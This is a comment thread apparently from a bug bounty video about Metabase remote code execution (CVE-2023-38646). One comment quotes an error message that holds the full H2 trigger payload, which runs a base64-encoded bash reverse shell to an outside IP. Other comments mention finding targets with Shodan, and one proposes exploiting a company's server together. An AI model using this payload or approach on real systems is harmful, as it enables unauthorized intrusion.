€7500 Unauthenticated Blind Remote Code Execution Bug Bounty POC | Private Program | CVE-2023-38646

[@jupulo3507]

one day im gonna have the same skills as you, great job mate!!

[@abhinavkumar8052]

Great video thanks for sharing

[@parkergaming3123]

Awesome man ! keep it up. Keep up with the good work !

[@abhishekmorla1]

Appreciate it!

[@thebournville]

Hats off Bro!!! Is that all your findings that you upload?

[@abhishekmorla1]

No but most of them

[@pocketanime06-zo1eu]

Keep it bro doing great work by teacher other ❤ love from Ronin

[@0x0313-p]

Metabase cve 2023 awesome 🙌

[@GigaTypers]

Thanks pro! Could you please paste the full POST request on setup/validate endpoint which you have used ?

[@abhishekmorla1]

Perhaps you can join the channel

[@GigaTypers]

@@abhishekmorla1 I always got the below error when trying to execute the command. could you please help? or can I consider this as an enough proof of concept for the vulnerability? "Error creating or initializing trigger \"PWNSHELL\" object, class \"..source..\", cause: \"org.h2.message.DbException: Syntax error in SQL statement \"\"//javascript java.lang.Runtime.getRuntime().exec('bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEuMS4xLjEvOTk5OCAwPiYx}|{base64,-d}|{bash,-i}') \"\" [42000-197]\"; see root cause for details; SQL statement: SET TRACE_LEVEL_SYSTEM_OUT 1;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript java.lang.Runtime.getRuntime().exec('bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEuMS4xLjEvOTk5OCAwPiYx}|{base64,-d}|{bash,-i}') $$--=x [90043-197]"

[@renrenbei6400]

Very cool.

[@Noctuu]

Solid af

[@minhleduc6715]

nice finding

[@gral10]

great video, but it should be watch at x0.50 speed

[@Patel_jishan]

Bro informative video, how you leran this type of bugs?

[@abhishekmorla1]

from cves

[@devilsworld7299]

how to find these kind of bugs can you make a proper tut. on it how to find this type of RCE

[@abhishekmorla1]

sure

[@salmansaif-eldin6814]

How you got these api endpoints with this json parameter and know it will be vulnerable to RCE ?!

[@abhishekmorla1]

History

[@Noctuu]

​@@abhishekmorla1 History ? Like the school subject ? What history Edit: I know nothing about metabase so i guess to understand the payload I gotta understand Metabase

[@abhishekmorla1]

​@@Noctuu bro burp history

[@Noctuu]

@@abhishekmorla1 and the payload too i guess ? Or my edit was right ?

[@nonolistenlisten2250]

perfect+++

[@ghulamyaseen538]

How do you find targets for such bugs? Any methodology you follow?

[@abhishekmorla1]

I use shodan

[@darkmix4192]

​@@abhishekmorla1I'll do same concept in web application based signin page? it'll work?

[@amoh96]

im beginner if im not wrong i understand you found SSRF and u esclate it to RCE by acccess some metadata or sentsive files and u got RCE ? what advccie you give me

[@yungxxilax9194]

bro if im not wrong, he actually finds some kind of newly discovered (or old idk) CVE, posted on Exploit db or other websites, and then search for those vulnerable services, but i have some questions as well, like, if he only does this to websites that is subscribed to bug bounty services

[@abhishekmorla1]

join to learn more kzbin.info/door/9IAh1JN4lhSVz193GvZVZgjoin

[@Neo-x4o]

Cool one....may i get this exploit for mysql and postgress And why did you add some extra space in the base64 encoded one still confused there

[@abhishekmorla1]

To remove the equal

[@Neo-x4o]

@@abhishekmorla1 yeah I seen but why did u do that already it's encoded right ? I have doubt in this

[@edavidwaner2187]

bro help me exploit this we can share bounty found metabase in billiom dollar company

[@abhishekmorla1]

join the channel kzbin.info/door/9IAh1JN4lhSVz193GvZVZgjoin

[@edavidwaner2187]

@@abhishekmorla1 I don't think there's any need to join the channel U wanna hunt together that cve then reply

[@mohmino4532]

bro ur just amazing hacker . do u guess the endpoint on all requests?

[@abhishekmorla1]

Naah bro..😅

[@mohmino4532]

@@abhishekmorla1 Then why do u always copy Endpoint and paste it directly into burp ? i really need to know bro

[@abhishekmorla1]

Bro study about the cve i mentioned

[@احمدفرحان-ت7ك]

🎉🎉🎉❤❤❤

[@sambhavjain6929]

Congratulations, found the video from WhatsApp

[@sambhavjain6929]

May I know what kind of laptop you would recommend for bug bounty programs

[@phlmox8925]

it's CVE-2023-38646

[@abhishekmorla1]

dont copy paste the title

[@phlmox8925]

​@@abhishekmorla1 it wasn't there before i commented

[@csstestusr]

How to find this program? I think it's not hackerone program.right?

[@abhishekmorla1]

Nope its nof h1 bro